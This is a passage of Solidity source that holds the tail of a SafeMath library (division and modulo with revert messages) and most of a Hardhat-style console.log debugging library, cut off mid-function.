integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function log(uint p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { 